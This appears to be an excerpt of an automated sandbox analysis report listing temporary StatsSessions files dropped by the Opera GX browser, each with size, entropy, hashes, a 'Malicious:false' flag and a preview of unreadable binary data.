                                                                                                                                                                                                              Preview:........XPUqYBErgV0IoNHsOXiCZkVPKWYr3g27HgDrV2RED+4Y=.......r....)...).s/.......+$._..vs...Q.........+...;.o.........sJ...../.....`l|..I..,}.d..B.dt.9bF.....C_d.'...#.....-8.G.L....%.-*^..i.W_D....e..1..P.a.q^...T+.y.R..\W..&.Xo..^....M..>P..7Bm..!...$...t......._t&.<...x...t.K.Y"....:...!...F4...w.M.m...Je.R. ....4.....Y..J}3$..aOk.....`B{...g.c......;.......k.u.E.sa..3TJp:t..a.........q..]~..560.M3..J...q.v...`..*W....F.}p.......<..'.Y..E..1cm.3m.8.[.A.S.R...B...9R..{|....=C.z....f....do.5qw..FS.ON9....)......U..j..q..|o....%..;.Z?.~.!H7e*.^tEZ...J{.O&l..3.(.v..9B.[(.L.x.....0.;_g^x5l.|lmBc*^@s...N6....k.......<....>..g...W.....(.Ou.t.x.......aj....V.....}..(....3..\...D |.....r.....>..q.4].&..4.{.g...&.A.....S....H..o/4....._..[G...b.~q...._.o....).yh..3...{L...0......"....f_...g\.D..)..O.wC..h..i....W.7..T%.^b..=P...jXN9....w...._.......E..ct.......*..0.....#.l&..........X.......B.~...t..M..%.j....=...s...o-....lg..(A.z..O.I.Gu.>;h../..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\eb3cc554-f58a-4986-8000-70c5d68d859a.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.979534030147179
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:AB939D20C11A733C3DE84A8586327FF0
                                                                                                                                                                                                              SHA1:A8BEE6A751D9EADD9C1CA11592157D74EA963AAB
                                                                                                                                                                                                              SHA-256:9CF15BD817BECFB1D463DD7CEB320EFF7DB943E11EDB6FE86CCF25DBEDB25576
                                                                                                                                                                                                              SHA-512:ED062F8D90A0973F935DDD79D1BCB9024B868DAE12A4A8556E9CD919850038C5AA5B4C68D871FB913A6C3D46A82C996910A82DE149DA04F35DB6D02993E0422E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XwcGPkOLN2p4lQLZpbTPi9b/jJ4gFpHYbnpWzjaEBWBo=..........:f&F,*.^.._...(m......{+........b.X............WVw...BM|.....e..?....y.f..d......-...].%>.......[.S.v...<.......!.aK.....@d...I...z.Y.=.. .G.;p...`.N.\!.o.do........\.cl..i.v.Q.)!.D"......%..;.Zi.-...2..+....J.w^..m8.D.g...H...h/..$..O<\.j..|.Z....1........: ie...qi~.MDMW.....X.l....E..T......dg...Z+K....ow.................e..X.g..I..]..l.~H.(_k..VZh....)=.U.Q7.t......J8...m.....O.8....z....@.s..sD.N....L......m~J.;.;.ua]....C.JW...w.|>.t.L{#....p.K..I....U.k...{.......9}..q.jl1..3.=..W.v..I.....h.Y:P.P...Ba.T....V..`..;...P.. %.G.=. {......1..Rl..G..3.0..?.C8.C;.Q..5.v...zG..1.X.@;g.}..._.g.B....5/.....d....}..-.tj.5#....t........!.&xk.b.e.]^.R.V.;..t.Qop2e...~qc........u.x....=.T..U.z...#..e4.4o.0e;..m...r0..=.X.....PU.C.iw..`@Z.mW.r..S^)..../1.L...V? C.{X.Y.U.JPsk.....4..u.9p;(7U'E....J%'_.3.E.u./.r..o.....3.].S{.H7.u.a.k..B. [{....t'k.B....l.D..../b..\..^}l.........

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\ed1170ea-a706-4862-b26c-ad2718f6ea72.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1133
                                                                                                                                                                                                              Entropy (8bit):7.828166480360969
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0E242860FF7EA38412E6098DCDE04EC3
                                                                                                                                                                                                              SHA1:90AE24E7A6E2CCD6D744F6FB5190D3CC111EE2C4
                                                                                                                                                                                                              SHA-256:CEA917CAB2343D6CE430A9F51C84A46BA8F0C678F533B98ABC0C5C66DE40F369
                                                                                                                                                                                                              SHA-512:FC9107A6BFB01A360F24FD5781DCDC29D9543F38BA4BF1C83FAFEE68ECEDBC72751152CA4B4FFD7487DA95942DA32AAFA7FD181207E7416437F0A7D3BE5B0B30
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XUCdlv3gtWCISeIjk0+Z4vDLf6SVmzdFsXviSbHOcGlY=.......4...b._r.s..]x....jo+..2..YW....ZOL...1...).....G......q..[.....L^&..qUh.0C.r..#Z...7N.......U:...6]."[.9..h7>.....Tyf...a.......{..3.ga...../...m..-.n<...y.@@.[.~6u...r&B...*..-.....A..#..'. .j.s...1..2...}..g.2...3.2....w.. Q_.....9..,i.[..Y..u...*...-.|...Bh..i.I..#..5........&..Bb.a...&G.x^....t.*..r...c.#.:.......W...cJ.WRo..3B.[<...R..{.u...1./.Lu>....2....4.Z...]..a...~.1...f.p..v,\O....N..D~..;..|3.q...j&..0:.h1.'..Gz...$4..@0....0'.P.e.......?u-mD...l.UeZ.\.F...`N_..S..N..NgI...Ra;.s....^sQ ->..S1C..a.(..3..8..)".F.....*..Z.v..T..x.".zu...R,.o0.M.[2$...0.b%.w.=e].!.B......&..|w..qw.}rXp..2T..&.Q....S.Z..f7*..s.Jz.=i..*7.....UkGBQp*mzi<.Wzn.F....u.._..@...4..\..?.B7..%i......w....M..;._.L).U.f...a..B<e~n.i...i...n...@.Z]...H..?}...Z..|..{1.(....p5..[p.Y.B3..X7...-.._..#g........v.....3v...!.xT..Wq-.v.^...H[J.:.t.......OD..D'.1.@.......BK...9..X.6..>.a.S.$......M..)ZF..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\ef782bdd-c166-4876-8f9e-3125d13ab4d1.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.97889619445622
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E99C9964D3C08D2C41484388AE98C172
                                                                                                                                                                                                              SHA1:157AB21B972E39B3D3F1FCC7CEB984D5442CB9CF
                                                                                                                                                                                                              SHA-256:160648C248B41084C1D5583888A57107309AE1D019FA0001BDB1FEB2E61DE74E
                                                                                                                                                                                                              SHA-512:D8612A075CB31E697C3D0815BFD19E023E14864BAA6312B06A9E8F998C605483F17D3229A7C048B618715552B0AFB7851E4C0FBF22C6681E11E2B819D94ED33A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XGVd4vN1x2zP7ibSZ208uta62ySPx7gGzzwcAkmNFb+g=...............h.}.....~=..i%"'....g..W....X...]...I.s.]l...n.Hu..Bbu.2.U.........l....:]B'5L..._,..^.u..~. 8..].6..W......].%qt..|...~B..*........i7&...*p.=..IuQ..W.=.4...jHl..*V..k9...t......;...w.......8......O...xW....U[I..k.......n..D..I...3.....+.Ij..;.|s..+..zA1}.L.......LT...3..M.`h..H~e....} ..8....[$Y...Px...L..x!6...6..J....4...XO...m.T?.,`.:./?....B^.X]z[.+=...*i+.r..^...Vv.J.4.#..v.4..6...=.......9...=.q$..N...t..D.I.'.{j.B.."..U..[..gWfY..R.......%..A.P...C.EE.1.2........p.......n...5_.L`F..CH)S...I.......d....-.7.YB......... i.Y.\myCO=0...6F.5..+T..HT...0iH......P...n...9.\g:s!....oWJ..........y..O..G.?2q.o.~..l'..'n.Bi.9..y6c.]..4t&IN.{....../..B.^...)r.G...D....I..iH.$vq..b.....{d.o..|.`..a...Z.9[y.'.V6.[.|.U.nH.-.$...L&.!......-Z.....j..T,...<.el.B...z.}..t.[4..R...B...O.l.cTZ.H.Zy.]...@.(...-....+Z.L.....nHW @..E...@.8.Z..8.3-&:..8.89..]H.i....8.Su.e.cW..rx]!..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\f00d364d-3c75-44e8-b896-27ef2f248987.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.984255666662213
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:6E36C88590C5A224A52C8700E67892CF
                                                                                                                                                                                                              SHA1:EED14DB7DB922FFED2805E7D2A40DA657A42E86A
                                                                                                                                                                                                              SHA-256:5C22CC3D90DA6826557AA63B065099D8B30A805BF6418B109632BF219C0CCA79
                                                                                                                                                                                                              SHA-512:9893A8A3B7EE4452FF21A823A08C3633CA2CFF0C3C8E195367A39F702936EEE95B94BC41209B0A0A8AD60CF99BCB2D9FC6F5833A391A52E408C6AD96E2A1B12A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xtrr+874ia3290mPdBVcjRdP+fjronxSKQExRRKAp74w=.......1...-..4..*d=.4..du....h1*.-y4/*3..e...@k....".}.>..M...3.L|....dA)i.....B.E...=.F....S..K/...V..=..W.. KU.-....O..X.D.P.W.X{4A......2.?..s@=4.,.H.(.....Q.....*...o{..x|Z.\c8....t..g.]!3..TPD...gD?.8+fA.W.6.Li...)...E..!.#.Z....Xy.zc.....[8....b.<......y.[.&i.......w.... .n........(*w...G.xr......D.g...#.*..%.....-..pN..N6.&2...qo.#.I.....4....a.......... ...y...wZ-..g...<(m.iee...e.......yU....3.AKx....C..E.;F.%~..{....S..../$.eR.......,.#r1.X.G....92qku../..D&.1..U..>.!....._...8..^..`..C.8.........h....G.'/.W]E^.,.n...7.$w./....y...I...L..../....T...r...t..r.s.q..PR%......@..b}....Y{...9[....1~)...*k.T'..p......\.Hd..7.....N......?...!.z+...X .....dM.9.3O_.1.....$.a.;...8..;w..2I.&...h...u...>q_.y.e..8I.N....L-.`......TgK.f.....I.4(d..K.!...b&@....]..!.9.D.....<._5(...<.c/.h.....M.>.n...j.p...4.....8...v.@.Km................._....-=fG.....$....\......j.u8..KIK..=.6..#./)...W

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\f05e82af-99ef-4186-89ad-7a13542bcea8.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.978506140148044
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:0A5A121573370BA98037B2FBCB384A80
                                                                                                                                                                                                              SHA1:9A91A79E645A4C7DC9F4466FAD6B502A0733D5A2
                                                                                                                                                                                                              SHA-256:8C9C34CFCCB229BFDA91EC955530E4D963258F48732F6DCB6D8C3718D23F084E
                                                                                                                                                                                                              SHA-512:0429DA63FB6389129DFD537B447332E0A4F632A8E5E63A781B176A7A46702B0C6921948C26A9D36C70688FAF2D9103E6E6009D73DAF5F1E6FE62A0DCA030BFC2
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X5UWcNNOIjfppZdjVawWl78zhfKTwntatSdOrUJ2x1Y0=.......]....y...~.o..6......=..U...:A"..)Rt.6.(....2..?.t....={.1..b.@...B.A.p..W`.;..s..{s._.I.ZBR..~O).q.D{....*n.l...i..E..0[.V..$!>.......O...y.<.....U..d...)U$..(~<s=S.t.b.2..e..c....$.:.!In(].*%..P...s.b}WoQ=....I.~j.....C@3.y.,....e....M.dr......k..GP..as..g..N..x.. +-Uqq..8..f....3.......^k.=....B..3L..R1...L.eJW.#>.?.....~..\...oK..=\*t7o.+n~......x..q.Y..o..C.1;...7.W..jT.T2A.-r.5Q[|.....N..........[T..R..Q<NU..."9.xc(X.Vf]_].....T....y..L.{_:....Vcg...[p,..t....[."&._f..h..=.%M3.sp.+.....]...B..B|K..".$.YSC.v.......lL%..%.-T.!..F#..BV.f<.....x.C...Fk.?r<.'K{R.Ze.....Y.-..M...{.)....d.!],.j.....l..@...Y../.2d."...:....o......B..U...j....ND6..cK9.B9.>.r...Xx...c..4...p...#..........N..v.O.T,..e<...'.Y....|..`-^V..*.M.......D...gy.,Td.h....&M8....E....c..#.6.Y$.GS....W[q......t.aw.....G!....L.y....0....Q.O;.J.C-....a....+. ...$?..ih....Ln"...(..<!.8...........=_..........%...)...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\f1a68115-1a7a-4d50-ab9d-aec048a29d90.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.97897088601829
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C339C32F37743ABB6F3E8855D03453D2
                                                                                                                                                                                                              SHA1:4AB09C29DEF502E275FB00F704D517F67C381B86
                                                                                                                                                                                                              SHA-256:FA19BEF1A70E3E65EB15576B0BC17C6414FADD8AC115E2D7B3B9C4D2C2F80D23
                                                                                                                                                                                                              SHA-512:98E67AF8E3057151B1BBA2B702896797C7410A8D3159312CCAE5A17EEFE97E50767F6678427CFFFB7FAE092CA67FC145F6F56A45E9F611209ED70A2D0F3FA4FE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XoSf6X2Z7IQP9TSjoSioOUTKqkDlhfi6QleIWE5hy8bc=.......S....{.,..a..+g..._.......s.......fe'.fx.......^.YN%.D.....0w..-.f..J....b).q.=.v.Pgc..,.NAv.k../.%...AiG~^..iIRI....!..^...............k.>..+...]b\=......f.j...Z.1.3.L..X.].dH.T...h...e..j.eiN.@J.i.Y...+S.$......t...Lq...&D.2\}..............*...;./>..??.....4..;.x.{.N~O...}..FEnG3.J\F............a.lN. ..T....|.a.P".....w?..r..'.A..B.x`.*O...U.#9.4._..D.;.%.T....E:.....'.YM.A.....Y..%.n..z~..."UB.....O...s.....x......-7-......9.1@..]9.p........6....Y'^i...YZr...W=t.....'..G..`.A7.1....S.3.mJYv..Z'....oLDG...;V+f.$*..u........&LV..y5^T.B....>;.fh5r.6."AE...g...Y*Nl....&..|.....d...E.. y.v...^.M..%mb..`.].:~.......5..r4=?K......n..pY...x.........5*.f...`../...0.M;.H..x@..<.r?....#...^.r.....4.....WX1b~..m.X.%94.^.8..!.;.....J.H...l..Vz.g3.k.....$#..s!.NZ.....!.H.X..cu.;..s.A.T:...R..$.[h...,U.1Iz,.6F3.F*....'...S..JC.&....5t..P..}.h........"N.......zb...^Z.i.9...kp....q...'V.i!....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\f283761f-2796-4db9-91b5-a9db9747e1ab.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.979072583822453
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:8C736B6ED9EA6BB926836B8A80E7B337
                                                                                                                                                                                                              SHA1:0A3BC2AB5F035EB7434EB7D127D228657C0213D0
                                                                                                                                                                                                              SHA-256:05AECD7B581B91C1AACDF05F25FD74BEE187541DD730858AD4F651E22D256201
                                                                                                                                                                                                              SHA-512:BE001AFA21F17D3922B8258F9FCB4BA3A891D2364CDC45104F0AA5446A9B2A10B07691129F391D96CD0949D70D8D9AC174A8B4E45F56B9732B691525A488BB35
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X/y0oySTI0zhPtGB2ljenWfZHP6QXWCQbAJux5iZV2yM=.........|....E...l.9-.....d...9...^.q.~.51x.88`'B_`....I..**..6..].P.h....../u;6..G.....~..,...Sy.F.&w.,......s.-..Ou..y..,}.......K..g9.;.....y1l4}Cx.....o....<C...K.)*2j.......h.....Y......l.....*.5. r?/JK..]h8.3.v......O..Kie.oN.i.....|B(..R../..6L.".e..9.j....=B.......-.(.`oj.p)...6.U.....n&xT.......?\C.7...q. O..Ry(.....R8..W.......,P......}....G.P......R.K...Wl...ul.z.(.j.....0...%.,zO.jJF$-<.GZ..7..H..rV&+`....5.........`i1......./*.......-a..voV.....I(.O...m."`8b...;f...~.v..3.. .2Hl.b....iQI..).f....Z.t&...0H.Y.H.....}.._..m..<...&.........=x........E..KB...].w.....S...Wi......k.k..Y.........m...X.hv.u.:d0<lo!...%_.8f=...!....u.rz.I.I%...tU`..t.4....K...[X....sE.......*..R.o^I.F.4h.,.;.A?a....TU;.B..d3vD.D.....fY..:Y..u@. ..[iZ..U@+..;.-.E11..Xf[Y.x,+.:..7#..H.y....E@..A.......o....w...R....V.....~.Y..x.5.<...}*..`...P...\3I.Z...;)..._.............w....L.k.~@*.....m!{.n}.. ../Xn9

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\f41ad3a1-11ca-4c27-9289-1c55885196e8.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8382
                                                                                                                                                                                                              Entropy (8bit):7.97725511187206
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F67F6E8D0B7A5D3A2477CF41BD344C1F
                                                                                                                                                                                                              SHA1:1C9D024E894AD74438449A3DD49DC7F19D7AC04E
                                                                                                                                                                                                              SHA-256:058065E41C3F8151B1E73FACC8E7DD3F07C7ED21FDEA77AECFB18815CE8D23A4
                                                                                                                                                                                                              SHA-512:F8A924878C8B4F389030C7BC188833ADDA4A07F30FC6211CE5715CD36DF90D399FAB711266D7BB88BF620D0DB41DC228A5A11161C61E47666D008833D83BC561
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XghSljsPLDWLCn/Ahk85B8kGoe7n+r1CEyrW2Ltv/Ny0=........W...H.....W..8[U.7/.f...W...0r....d..j......N.i.........K(/K.sXQ.P./P.....A~.S....2.<....D1'-H.T...%t.[..w#.s*D.lX.k.Y.$...[..'.e..T..3...!xo5v...|..D..-z.Fl]y....{.....$Cn..}..0{...+......([....L.}...IjIN...X..........!...&...nMS.{....q...<.Y..qG...Fo..{.U.>.,e...x..kP..eM..Z.8f=wM.=.4_.......Sa...V.I.......;8-...[.*Q...P.T[..-{.0..;..;..;[..4.vW........T...U -.bS.rg.....*......\...),.......|k<..z....f.(UC.p....Y.:]H.at...F.\AJ...#h...l.7.{.2...ZuG.|.r.0Z..@Rf\.h...ng....*....#...Q).!..h..B.K...r...R:..k..9..3.<.$s|}.t..Q.......uq.....M..g..{]p....'.m.M..*<.0..0.J._;.....Y..j.0..'.ZH......Ai..`D.K...O.Q..b).P...cN.....w.".B..i.."#Y*.....,...#....p..Kc.l@..W...v.C<...).a.`I.;w..F\q.N.F1.M>.iX....<a..R;.....5.M.......T..5........l.$.h........0.7o....TR....(yh-h...l.f.&P._.?..7U>.G...\...F..Y.{.1.D.z..a:Hs-..?.z0gH.,....KAIe......p....6.'. 1J....)...ED...Aw.2...z.a...f.q......JE

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\f7b8304c-99ab-45ba-9316-d7de6db71e84.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.98112035689984
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9192DF05DDBD3856989CDE6A8D2EE58E
                                                                                                                                                                                                              SHA1:5CC9A71E8FD811A74735D50E21C8940E53B9D348
                                                                                                                                                                                                              SHA-256:2E7F18EC3BB7FB35A064565B64B49DD273678F72DBC71FADA91595C1488DF530
                                                                                                                                                                                                              SHA-512:D419C308E3C6AE24CB9B08FE8166DCBE1542CE9DA5F304070BE0FAADCB81543C1F4B34708F53E7DB6478A0AA68B57391905DC8D43829EB2C14B073CB187A33B7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XpRqa48Z1sxuUbm3VsrbM08v6bJx7Q0elaELuV40RhmU=.......H..(..\b.........F...#...$47}..2..2.c..zl...2Rt%..U.XB.y~<ywtq.......w.G..Ja.J.....JL<...CY._j.F.....*.2h.v.)..d[.1.:s.'..q....h....Crj..Q.....L.+\.4....ab..7.'....;,.q..2.{y"%.uN..r.v..8U...j].u.L.@.....;. ...4..y......o..y.9.m......^...9.+j..e.P..vb...g.X.t.D...,......|.w.[..O../..#..Ip....C..~...3..Q..3.<.......h..-..T.O.....0..%:....\..o.K(.3...3.&=...9...Q.....O...i%...|.......5[.O.|.......C....}.CD\(M..y.....T@."..aS...^.K..r2$...#.....L.y.3..$]*.G...>.Jy..+....1.r......q$.O..,...U.I...Z4.../-F..^ZA.........^.#.F..(`+L.M.........U}<6...<.o..x...2.._L.Jy#.|Cy....\.@.)P|.......Dd..<.t.l....._....jd.@.<...`.)-.=..KXUW...._.d.......a.p].f.A..{...I...v]....^..P.M.y\m>.><.....r..mN8../..W.J..M..`.,..z.&.......Da.P..+.2.\..e.Q.....7..;/y..&....xw.=.......myQp...S..l..5....2...5....-....#...^.H..<.<).jk....K}.....<.|>3d.X..0..V..i.CBJ.v.....1......u..R..d...D./.N.%2w.\..K

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\f8202cb0-937c-44ba-bdab-e85a6089ba31.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1629
                                                                                                                                                                                                              Entropy (8bit):7.871239762814778
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:378E9113ADAF24F18A5E607399B884FC
                                                                                                                                                                                                              SHA1:2A507DA5E91F0EBD284CC946914FA0F4A3D6062B
                                                                                                                                                                                                              SHA-256:64BD660B4341A6326B945EA273DD653E565CDB3A9863D4AEDA791DE7A2CE585A
                                                                                                                                                                                                              SHA-512:69722F5BC1AC6D61CFB249F2D05A2FB88615C66D9F69F3D2D52E52B74CEFF396FDACED2B4894178753AC9B79F7ED905379215AA05F2C0D3CB098688D2A3000E7
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XbJoQvmeaDy+feU201Oea5RAd9MgikDDW50E8TAEC7g8=.........%.o(+.$1.EK^......5.H[.B..-..I1@g..q.o.Y..@7+$]...%u.A..D.:.@.0..>....G.E...n2...?[..?,3.....?...]N...........v..~Ts.X...+`...q`?b.\qs..A..,......%`Q..A|..^..g%.......e...%V.hV.G..`[....5..s#ufX.......SO..N.5g...>..d....A>+7e.Q..........j`.....t..O..yr.|4:jr..U....J..:C.C....n..+.\5.F.jt\..w..s.),ri.B.F..v.)..&eQ...,.....w.~..R.k.i.yAq..Lg@.#X....l...o..C..s.-Kp.x.>.H..6M.,....x*..?...E.q.:..+...=...D...t...W.;..A..r\QS...E $...^?..$.Q.?.U./'...C.]..:.....S26.......wO5.].,k.2.........A...;...j.m.:(t..A.1..Hj.H.s.......j\z..}..d"kE.M.TI...\..20."..p+Z..W;..k".@.-..vm.|.#..aY.fl....E.}t;..j...(V..M......E.AAw.J..yK@..H..1..}._n....%.U[&....8....N&S.`g...,>G..T....7.oa.V....kp...0..!..1#...X...6...[k>..k.r.4a...eG..Q.........6s..1..8.W.5.5.....K.....I.....]L.&..\..2...K.GS....a.".....L$....\.%..Aot..Pg]..l.o...~2?3!]%).?L..y.......(S>.lB)..2h..w...........~XB..] |N....Y....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\f8cead76-fb34-4607-9c7e-17d321590f26.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7949
                                                                                                                                                                                                              Entropy (8bit):7.9745334311149225
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:ED618768B91C36B3021E943A03A0DA1E
                                                                                                                                                                                                              SHA1:6C7C96498B9F17B0B6A4F5C4F4EB4A9180BAFE59
                                                                                                                                                                                                              SHA-256:1C285C5769D69418BAD86E80B62858150C4CB2B75F82AA63A8A2CFEC0BDE5FBF
                                                                                                                                                                                                              SHA-512:F9D970512DB228057367B5FC45149819196B1D4B86BBE9E8723FE5BCA6718B515913848A8D448EC390342938E2F95C7BC8F4D5799C1A541423CBD6FE04871C3D
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XhPIHg7g5eHO2oTDhY5z6wwyi2xkd2a3iSjkLHJxpFYM=.....{..X..G.8V..e05......~.........G..a..qf.9..*f..K..<B._....;.C%JQoh..N....RN...h.1...0!Z.G...b$}e.z...2*.!...%U}.'.H...2..r.2)..z/.Bt..../;4_^...Y..DW:.`.....m_.G..V...D.CN..Q.0....sO)..<..j.....j....CX/...N..=..g...>.t..YC.a.6..(..E.R:....s;.QR../F~M4.Tr.+........2.....N....7)..6h........0.T.S.E.dm....*2..P .H...I..9HQ....%....E].E.C.a......7y...f.*_W.[+....d....+*....X.r.Kn.Sp...0..z..k.%.A6~k.T.....'....[.0.B..-..-u.Q.1.....rX.....n...2.e....... H....#..&.V.@,]....mI^..k.@.Q$c..!.a...s..6x..u.S-...&..-m./n.`....P.e..4.*73.6..H...2-G..0n.....QX......5.".X/X.u^".&z..$e.R.....!.|#M.P:.......c...9.j'.6R....Lc._Q;..K..2.a.I|...0m."..+...I%.G....W.5.*.....x......T...F.....(.bc..7.b.-9..r..E?.{.KD.o..g]...A.H#......-.;:.`..............YM...4Q.'...*.Ec]..S..F.aj....-..H.......3...0F.2.b....I.l.T....u]...C..fL8).N.:D/.h.U...DO..`.c..q..g.$(v*d..|>.(.%.^.Qa......2b.t.y...f`..v|F..h..w...3......f.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\fbf8c463-3cfe-465b-b4a8-510e83137f62.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2109
                                                                                                                                                                                                              Entropy (8bit):7.91449999337152
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:A564C69692F1CDEDAC78C52BADAC7F76
                                                                                                                                                                                                              SHA1:FA5421F63A5FFCC986E06F7EF079882C42D063BE
                                                                                                                                                                                                              SHA-256:EF4C30B6D9B41245D0BF2509A5A3111B7314E87D135E7FAFAE62EFC2BA300A5A
                                                                                                                                                                                                              SHA-512:269DC2A76CD338BD0A35F8D44D38E5D8072913F6C91F7C2EB6A681AB18E6CA2634763E67DB34DAE95B51E3BAB0442B48F0A9DBBECE6443BAFDCC4CE58DF8D082
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
